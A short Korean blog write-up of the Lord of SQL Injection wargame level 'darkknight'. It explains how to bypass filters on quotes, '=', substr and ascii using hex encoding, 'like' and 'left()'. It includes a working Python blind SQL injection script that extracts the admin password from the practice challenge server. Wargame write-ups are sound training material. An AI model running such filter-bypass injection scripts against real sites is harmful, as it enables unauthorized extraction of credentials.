본문 바로가기

Write-Up/LOS (lord of sql injection)

[Lord of SQL Injection] 12번 darkknight

pw는 싱글쿼터를 필터링한다.

no는 싱글쿼터, =, substr, ascii가 필터링된다.

싱글쿼터가 필터링 되기때문에 hex로 넣어주겠다.

admin의 hex값은 0x61646d696e이다

처음 pw 길이를 알아내기 위하여

lenght 함수를 이용하였다.

import requests
 
cookies= {'PHPSESSID':'bme8kemqnchvr6qmbblqpbbs05'}
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?'
pw = ''
for i in range(1,9):
    for j in range(48,127):
        payload = "no=1 or id like 0x61646d696e %26%26 left(pw,"+str(i)+') like "'+pw+chr(j)+'"'
        new_url = url+payload
        res = requests.get(new_url, cookies=cookies)
        res.raise_for_status()
        if "Hello admin" in res.text :
            pw += chr(j)
            print("pw: "+pw)
            break
        
print ("pw : "+pw)